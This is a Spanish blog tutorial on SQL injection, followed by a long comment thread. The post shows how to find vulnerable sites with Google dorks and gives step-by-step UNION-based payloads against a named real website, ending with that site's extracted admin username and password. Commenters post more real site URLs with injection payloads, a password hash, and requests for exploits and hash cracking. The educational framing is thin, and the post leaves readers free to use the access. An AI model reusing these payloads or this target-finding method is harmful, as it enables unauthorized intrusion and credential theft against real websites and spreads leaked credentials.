Seguridad Web

SQL Injection desde cero

16:45 ANTRAX 64 Comments


Introducción:

Hola a todos, En este tutorial les enseñare SQLi desde cero.
Al ser un tutorial con fines educativos y no destructivos. Solamente veremos cómo obtener el usuario y contraseña de administrador. El resto corre por cuenta de cada uno lo que quiera hacer con el acceso…
Se comenzara buscando una web cualquiera en google, buscaremos un lugar en la web para inyectar, haremos la inyección y obtendremos los datos de acceso. Pero antes comenzaremos con un poco de teoria.

SQL

Es un lenguaje normalizado, estructurado de consultas a bases de datos. Esto quiere decir, que en casi todas las consultas a distintos tipos de bases de datos, se usan las mismas sentencias.
SQL, cuenta con dos comandos, que son los DLL (permiten crear y definir bases de datos, campos e índices) y por otro lado los comandos DML (permiten generar consultas, filtrar y extraer datos de la base de datos).
Nos centraremos en ese último, ya que SQLi, consiste en generar consultas a la base de datos para que nos devuelva datos de interés.
Los comandos DML son:

Delete: Permite eliminar registros de la base de datos.
Update: Modifica valores de campos previamente creados.
Select: Sirve para consultas registros en la base de datos.
Insert: Carga lotes de datos en una base de datos.

Clausulas

Las clausulas son condiciones de modificación. Y se emplean para definir datos o manipularlos.
Entre las clausulas tenemos:

Order By: Ordena registros seleccionados
Group by: separa registros
Having: expresa una condición que debe satisfacer cada grupo
From: Sirve para especificar una tabla de la cual se quieren obtener registros
Where: Sirve para las condiciones que debe reunir un registro para ser seleccionado

Operadores Logicos

Los operadores lógicos o conectivos lógicos se utilizan para conectar dos formulas para que el valor de verdad. Siempre darán un valor de verdad verdadero o falso y se leen de izquierda a derecha.
Los operadores lógicos usados son:

Or: Evalua dos condiciones, devolviendo un valor de verdad verdadero si alguna de las dos es verdadera
And: Evalua dos condiciones y devuelve un valor de verdad verdadero, si ambas condiciones son iguales.
Not: Devuelve un valor contrario a la expresión. Si la expresión es True, devolverá False y viceversa

Operadores de comparación:


Los operadores de comparación, son utilizados para comparar dos valores o formulas.
Los operadores son:

< Menor que > Mayor que
<> Distinto que
>= Mayor o igual que
<= Menor o igual que
Between: especifica un intervalo de valores
Like: Compara un modelo
In: Especifica registros en una base de datos

Funciones de agregado

Estas formulas se utilizan dentro de la clausula Select en grupos de registros para devolver un único valor que se aplica en un grupo de registros.

Max: devuelve el valor más grande de un campo específico
Min: Devuelve el valor más chico de un campo especifico.
Sum: Se utiliza para devolver la suma de todos valores de un campo específico
Avg: calcula el promedio de un campo específico Count: Devuelve el numero de registros de la selección Limit: devuelve un rango de resultados deseados en lugar de todos los que puede devolver dicha consulta.

Otras consultas

Veremos a continuación otras consultas que se suelen utilizar en las inyecciones SQL.

Union: Sirve para combinar el resultado de dos consultas juntas.
Information_schema.tables: Devuelve información de una tabla determinada
Information_schema.columns: Devuelve información de una columna determinada
Concat: Concatena los resultados de varios campos diferentes
Group_concat: devuelve como resultado una cadena de concatenación de un grupo de valores no nulos Char: se utiliza para insertar caracteres de control en cadenas de caracteres. 

SQLi

Este tipo de ataque consiste en inyectar código SQL en una sentencia SQL ya programada, con el fin de alterar el funcionamiento de la base de datos.
Lo que haremos a lo largo de este tutorial, será inyectar código SQL a una web, con el fin de ocasionarle errores a la base de datos para que nos devuelva datos que usaremos en nuestra inyección y finalmente obtener los datos de acceso al panel de administración.

Dorks:

Los Dorks son palabras claves que usaremos para encontrar sitios vulnerables.
Un ejemplo de dork seria el siguiente: noticia.php?id=
En google deberíamos poner lo siguiente: inurl: noticia.php?id=
Esto nos arrojara muchos resultados de sitios que quizás ya no sean vulnerables. Pero es por eso que debemos ir alternando Dorks, hasta que logremos dar con una.
El método para generar dorks seria cambiar el noticia por otro nombre, por ejemplo news, view, photo, etc. Y el resto quedaría igual.
Otra de las cosas a tener en cuenta, es que después de realizar la búsqueda, ir a las páginas del final que son las que más desactualizadas están y probablemente sean vulnerables.
Veremos a continuación un ejemplo:

Coloco el Dork en google y comienzo a navegar, buscando webs que puedan llegar a ser vulnerables. Yo encontré esta:

Como se puede ver, ahí en la url aparece el dork que coloque en google

Pero… ¿cómo me doy cuenta si es o no vulnerable?

Acá empieza la parte entretenida. Lo que debemos hacer es borrar lo que esta después de id= y provocar un error en la base de datos.

¿Y de qué forma podemos provocar un error?

Fácil… colocando caracteres no permitidos, por ejemplo una comilla, un numero negativo, etc. Colocare un -1 (uno negativo) y veremos cómo se comporta la web

Pagina original:

Pagina con el -1:

Se puede notar que no han cargado elementos dentro del cuerpo de la página, esto da señal a que puede ser vulnerable.
Ahora probemos colocando una comilla:

Nos tira un error de la base de datos:
Fatal error: Call to a member function RecordCount()
on a non-object in /home/samg/public_html/include/objetos/Noticia.class.php
on line 333
Con esto podemos ver que pudimos generar un error en la consulta a la base de datos.

SQL Injection

Ahora probaremos si realmente es vulnerable o no a SQLi. Para ello, después del id= colocaremos lo siguiente:
-1+UNION+SELECT+1,2--
 Y en mi caso, en el cuerpo de la página, me sale el mismo Fatal error que cuando ingrese la comilla simple.
Lo que debemos hacer ahora, es comenzar a añadir números, hasta que ese error desaparezca.

La inyección seria así:
-1+UNION+SELECT+1,2,3--
-1+UNION+SELECT+1,2,3,4--
-1+UNION+SELECT+1,2,3,4,5--
Y asi sucesivamente hasta que el error desaparezca. En mi caso quedo hasta el numero 12, pero hay ocasiones en las que puede superar los 60!

Cuando el error ya no este, nos volverá a mostrar la pagina, y curiosamente contiene uno o mas  números en el cuerpo de la web

Ese 5 y ese 2, son números de tablas, la web es vulnerable a SQLi. En este caso debo elegir uno de los dos números, yo seleccionare el 5 por que es el mas vistoso, pero en definitiva se puede usar cualquiera.
Usare a ese 5 para que me muestre los nombres de las tablas en su lugar.
Lo que sigue ahora es agregar después del último número de la url el siguiente código:
+from+information_schema.tables--
Quedaría en mi caso, así:

 Y reemplazar el número 5 (que fue el numero que nos apareció en el cuerpo de la pagina) por table_name

 Una vez hecho esto, presionamos enter y veremos que en el cuerpo del mensaje nuestro numero desapareció y apareció el nombre de una tabla en su lugar.

Lo que debemos hacer ahora, es agregar después de information_schema.tables lo siguiente:
+limit+2,1--

Quedaría algo así:

Y si miramos el cuerpo del mensaje, el nombre de la tabla, cambió

Lo que sigue, es ir sumándole +1 al limit para que valla de forma creciente, hasta encontrar una tabla que pueda contener los datos del administrador de la página
El limit debería ir de la siguiente forma:
+limit+2,1--
+limit+3,1--
+limit+4,1--
+limit+5,1--
Y así sucesivamente hasta hallar una tabla importante. En mi caso llegue hasta la 38 y encontré la de administradores.

Lo que sigue, es convertir ese nombre a ASCII. Asique buscaremos en google algún conversor de string a ascii.

El resultado de samg_administradores es el siguiente:
115 97 109 103 95 97 100 109 105 110 105 115 116 114 97 100 111 114 101 115
Ahora sacaremos los espacios que hay entre los números y colocaremos comas entre los valores:
115,97,109,103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115
Guardaremos esa cadena de números para usarla luego en nuestra inyección.
Ahora volvemos a nuestra inyección y cambiaremos table_name por group_concat(column_name) y information_schema.tables por
information_schema.columns+where+table_name=char(115,97,109,103,95,97,100,109,105,11
0,105,115,116,114,97,100,111,114,101,115)--
y quitamos el +limit+ con sus valores numéricos.

Debería quedar así:
http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,group_concat(column_name)
,6,7,8,9,10,11,12+from+information_schema.columns+where+table_name=char(115,97,109,
103,95,97,100,109,105,110,105,115,116,114,97,100,111,114,101,115)--
Si observamos, el cuerpo de la página, veremos la composición de las columnas de la tabla

Las que me sirven en mi caso son las columnas de Login y Password, asique ahora reemplazaremos en la inyección lo siguiente:
group_concat(column_name) por concat(Login,0x3a,Password)
Concat significa concatenar, algo similar que unir. Y el 0x3a, son dos puntos. Esto es para que el usuario y la contraseña no aparezcan juntas, sino que los separe los dos puntos. Teniendo un resultado algo así:

Usuario:Contraseña

Y borraremos desde information_schema.columns en adelante y dejaremos solamente el +from+
Y luego de ese from, colocamos el nombre de la tabla, que en mi caso se llamaba: samg_administradores
Quedándome lo siguiente:

Y en el cuerpo de la página, podremos ver los datos del administrador:

Usuario: samg
Contraseña: samg06
En caso de querer hackear la web, solo resta encontrar el panel de admin con algún admin finder. Pero como dije al principio del tutorial, este paper es con fines educativos.
Espero que les haya gustado y que les sea útil.

ANTRAX

You Might Also Like

64 comentarios:

  1. Claro que si es de nuestro agrado, tutoriales como ese.

    Perdon por el mensaje, no se si iria aca, pero algun manual de scripting .vbs??

    Por cierto muy buen tutorial (y).

    ResponderEliminar
  2. Agradezco tu comentario Hiber.
    Te comento que quizas pronto underc0de este online y ahi hay material del que buscas
    Saludos y gracias por seguir el blog

    ResponderEliminar
  3. Gracias a ti, por seguir manteniendo tu blog vivo. Eso ayuda a muchas personas que les gusta esto.

    Suerte...

    ResponderEliminar
  4. creo que hay herramientas que automatizan un poco el cuento.. pero bueno, gracias de todas formas

    ResponderEliminar
  5. Hay miles de herramientas que automatizan un poco el cuento, pero te sentirás mejor haciéndolo a mano, sabiendo muy bien lo que estás haciendo ;)

    ResponderEliminar
  6. Asi es, como dijo Jeferx, es mejor hacerlo a mano, no solo por que es mas grato. Sino para saber de donde nace todo

    ResponderEliminar
  7. Muy buena info ANTRAX, te animo a que sigas haciendo estos manuales, buen trabajo. Este manual estaria muy bien poderlo decargar en pdf!

    ResponderEliminar
  8. Excelente! pero me tope con una web con mysql...

    cambiaran algunos parametros?

    ademas tiene 20 columnas y ninguna de administradores...

    Sldos desde Chile!

    ResponderEliminar
  9. Excelente la manera en que abordaste este tutorial, bastante completo y se ve que le pusiste muchas ganas un saludo!

    ResponderEliminar
  10. Los parametros son los mismos.
    Si no hay columna de administrador, no podras entrar. Es normal, suele suceder.

    Saludos!

    ResponderEliminar
  11. Gracias por compartir tus conocimientos ANTRAX he visto varios tuto tuyo y son excelentes, oye me tope con una pagina que al comienzo con -1 no muestra nada como en tu ejemplo, pero con la comilla simple no me bota ningún error he probado de todos los comandos y solo me queda como en tu segunda imagen, dejare esa para otro día y buscare otra, y con respecto al comentario de que hay herramientas es muy cierto pero la idea es aprender de donde proviene el fallo así se van ocurriendo otras ideas que se pueden probar...

    ResponderEliminar
  12. muy interesante no había pensado que podía pasar eso con el SQL

    ResponderEliminar
  13. Muy buen ejemplo de inyección... saludos desde chile

    ResponderEliminar
  14. Una pregunta, logro todo hasta lo de concat, sin error alguno, la db tiene como 15 usuarios, eso lo se gracias a que ya habia probado con esa pagina de prueba con havji, ahora que estado practicando las sql injection, cuando llego al concat solo obtiene un dato, no se si este poniendo algo mal o pueda hacer con algun comando que se vean esos 15 datos, esot lo estoy haciendo en una pagina de prueba que me monte en otro pc, gracias.

    ResponderEliminar
  15. Anonimo, con respecto a tu pregunta, debes ir jugando con consultas para que te tire mas datos. Te dejo un muy buen tutorial sobre Consultas de SQL
    http://www.cepeu.edu.py/LIBROS_ELECTRONICOS_4/ManualPracticoSQL.pdf

    Espero que te sirva!
    Saludos!
    ANTRAX

    ResponderEliminar
    Respuestas
    1. amigo por que no me aparece la pagina que dijiste me aparece not found

      Eliminar
  16. Muchas gracias, Antrax, logre que me sacara los datos, no en lista pero si uno por uno, cosa que los programas con el havji, hacen por que estan programados para eso, eso creo yo.


    Saludos y muchas gracias.

    Por si a alguien le sirve, los saque con +limit+0,1--

    esto se agrega despues de

    from+nombre_de_la_tabla+limit{aqui se incrementa el valor de 0},1--


    Saludos y gracias por la aydua de nuevo Antrax :D

    ResponderEliminar
  17. ahhh muy buen info... pero tengo una duda ojala me puedas ayudar, como sacar la informacion de la tabla que encontramos???
    pero de esta forma:

    ?id=-1 union select etc etc

    es decir no desde la barra de direccion si no desde un buscador ayudaaa!!!

    ResponderEliminar
    Respuestas
    1. Que informacion necesitas sacar?
      Algo mas practico seria usar Havij para que te extraiga todo!

      Eliminar
  18. He llegado hasta 60 y nada http://www.samg.es/web/noticias/noticia.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,etc-- que puedo hacer Antrax

    ResponderEliminar
    Respuestas
    1. Proba con algun automatizador como el Havij.
      En mi blog deje un tutorial de como usarlo
      Saludos!

      Eliminar
    2. Por cierto, creo que el citio ya esta parcheado, por eso no podras sacarlo.

      Eliminar
  19. Saludos me bajo este manual saludos ANTRAX.

    ResponderEliminar
  20. mira tengo 1 problema y es que saco todo y cuando me sale lo de administrador no me sale nada de samg_administradores busque mas archivo y se acabaron y no sale nada de samg_administradores salia algo de administradores pero solo era para saver la ip y hora de conexion AYUDAME!

    ResponderEliminar
    Respuestas
    1. ya la arreglaron a la falla en esta pagina, vas a tener que buscar otro sitio vulnerable

      Eliminar
  21. gracias antrax,pero tengo un problema,llego a concat(USERNAME,0x3a,PASSWORD)que son las tablas del administrador,pero al ejecutar ese codigo me da Warning: mysql_fetch_object(): supplied argument is not a valid MySQL result resource in /home/n8h1w9n4/public_html/recipe.php on line 54

    ResponderEliminar
  22. si
    sourceisrael.com/read.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11

    ResponderEliminar
    Respuestas
    1. No quiero desilucionarte, pero esa web no tiene panel de admin... ya mire las tablas y tiene creo que 5 tablas y ninguna es de usuarios, todas son de contenido

      Saludos!

      Eliminar
    2. y esto?
      sourceisrael.com/cpanel

      Eliminar
  23. Saludos, he conseguido una muy buena pagina....Pero al parecer no reacciona a ninguna de mis consultas. Y es vulnerable... Aqui esta para quien desee ver por si mism@:

    http://www.oronoticias.com.mx/detalleNota.php?id=

    ResponderEliminar
  24. antrax! algun exploit para joomla 1.5 que no necesite plugins?

    ResponderEliminar
  25. man buen tuto pero un consejo parasacar todas las tablas y columnas
    0x20x3c62723e salu2

    ResponderEliminar
  26. No hay opcion de descargar en pdf?

    ResponderEliminar
  27. exelente tutorial muy explicado y funcional

    ResponderEliminar
  28. como siempre un excelente tutorial antrax
    Relativo

    ResponderEliminar
  29. ma ke koza wow es cierto dicen ke ya hay herramientas para minimizar el trabajo pero ke mejor ke komenzar a aprender y ke sea de la manera manual ke siempre sera la mejor en cuestion de aprendizaje... gracias

    ResponderEliminar
  30. hola antrax una consulta obtengo ya el user y pass de diferentes webs pero todas me dan el mismo problema no me logean y ya las desencripte y todo algun consejo que me puedan sugerir que debo hacer

    ResponderEliminar
  31. excelente tuto, solo que tengo un problema al momento de extraer lel usuario y contraaaseña no me lo da e tira un error es en el ultimo paso

    ResponderEliminar
  32. este error es el que me da * SELECT * FROM joal_noticias WHERE id=-1 UNION SELECT 1,concat(usuario,0x3a,Password),3,4,5 from usuarios--
    Error: Table 'db76222_clientes.usuarios' doesn't exist *

    la tabla se llama usuarios

    ResponderEliminar
  33. ayuda cheque esta pagina http://web/fullstory.php?id=29 con havij
    y es vulnerable me da bases de datos tablas etc....

    pero lo que quiero es saber que ejecuta havij para obterner la informacion ya intente todo lo que aqui postearon y no resulta
    que otro metodo usa havij alguien sabe ???

    Error in query: SELECT * FROM news WHERE id = '29''. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''29''' at line 1

    ResponderEliminar
  34. erro de sintaxe http://www.faser.org.br/noticias.php?id=-1+UNION+SELECT+1,2,3,4,5,6,7,8,concat(TABLE,PRIVILEGE),10+from+SCHEMA_PRIVILEGES-- ayudame Antrax

    ResponderEliminar
  35. consegui a senha e usuário de um site mas não funcionou no painel admin.

    ResponderEliminar
  36. buen tutorial gracias. :)

    ResponderEliminar
  37. Gran tutorial!

    Solo una duda, este tipo de injección deja rastro en los logs?

    Gracias saludos.

    ResponderEliminar
  38. Ejemplo http://www.esteticaynegocios.com.ar/ver.php?id=-1+UNION+SELECT+concat(id,username,password),2,3,4+from+foro_username Resultado leandro:*EE7807AB67DF3BB1A82588CD26A6A
    como desencripto el password?

    ResponderEliminar
  39. super el ejemplo .. muchas gracias y te recomiendo más ejemplos tan excelentes como este.
    saludos.

    ResponderEliminar
  40. una duda estos codigos se escriben en el F12 no ? o donde por lo demas esta genial gracias

    ResponderEliminar
  41. Yo tengo un problema xD
    el convertidor de String, solo me da codigos Binary y Hex, pero en Ascii no me da nada >_< tienes alguna pagina que sirva ?

    ResponderEliminar
  42. Alguna pagina para comvertir de String ASCIII
    RESPONDAN PORFA

    ResponderEliminar
  43. encuentran error?


    http://www.cucs.udg.mx/cardioinstituto/index.php?Id=-1+UNION+SELECT+1,2,3,group_concat(column_name),5+from+information_schema.columns+where+table_name=char(97,100,109,105,110,105,115,116,114,97,100,111,114,10,115)--

    ResponderEliminar
  44. Siempre recomendamos este post para los principiantes de pentesting en webs, pero ahora le faltan las imágenes. De resubirlas te lo agradeceríamos mucho
    ¡Saludos!

    ResponderEliminar
    Respuestas
    1. Muchas gracias por avisar! Ya quedó arreglado

      Eliminar
  45. Epale bro, ya hice todo excelente pero el unico detalle es q en la pagina solo me sale el primer usuario, es decir, me sale la informacion que le solicite pero solo de la primera linea, a traves de havij en la misma tabla hay 75k xD pero no me da password, manualmente si me la da pero solo el primero, como hago para lo demas? Gracias! Excelente Tuto!

    ResponderEliminar
  46. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  47. Este comentario ha sido eliminado por el autor.

    ResponderEliminar
  48. a mi me dio Illegal mix of collations for operation 'UNION' que puedo hacer ?

    ResponderEliminar
  49. me ayudarias a decodificar la clave esta en sha2-sha3 256bits
    205a0f5fb0aec96684a3f218d6153b9b4cb3656708eec845a5cfdbcbbccbc70c

    ResponderEliminar
  50. ya tengo el nombre de las columnas y tabla pero ya no me da nada las concatenacion ????????????????????'

    ResponderEliminar
  51. ANTRAX como puedo comunicarme contigo ? Me llamó Constanza

    ResponderEliminar